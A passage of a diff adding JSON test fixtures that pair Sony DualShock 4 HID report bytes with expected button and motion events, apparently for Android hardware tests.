+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x04, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa4,
+      0x91, 0x37, 0xa1],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x08, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa2,
+      0x41, 0x3e, 0x7f],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L3",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x40, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x34, 0x62, 0x90],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R3",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x80, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea,
+      0x0a, 0x95, 0x1d],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SHARE",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xef,
+      0xe7, 0x5c, 0x18],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_OPTIONS",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75,
+      0xab, 0x99, 0xd6],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_PS",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x01, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f,
+      0x71, 0x0a, 0xdd],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json
new file mode 100644
index 0000000..dcb61ee
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json
@@ -0,0 +1,393 @@
+[
+  {
+    "name": "Sanity check - should not produce any events",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68,
+      0x4c, 0xcf, 0xda],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcb,
+      0xd7, 0x5b, 0x82],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3a,
+      0x19, 0xa9, 0x43],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x82, 0x3d, 0x1b],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x40, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc3,
+      0xfd, 0xb6, 0xbe],
+      [0x11, 0xc0, 0x00, 0x00, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69,
+      0xb1, 0x8b, 0x33],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0xc0, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd6,
+      0x62, 0xbd, 0x7f],
+      [0x11, 0xc0, 0x00, 0xff, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd7,
+      0xee, 0x91, 0xfb],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x40, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d,
+      0xcf, 0x43, 0xad],
+      [0x11, 0xc0, 0x00, 0x80, 0x00, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42,
+      0x90, 0x02, 0x98],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
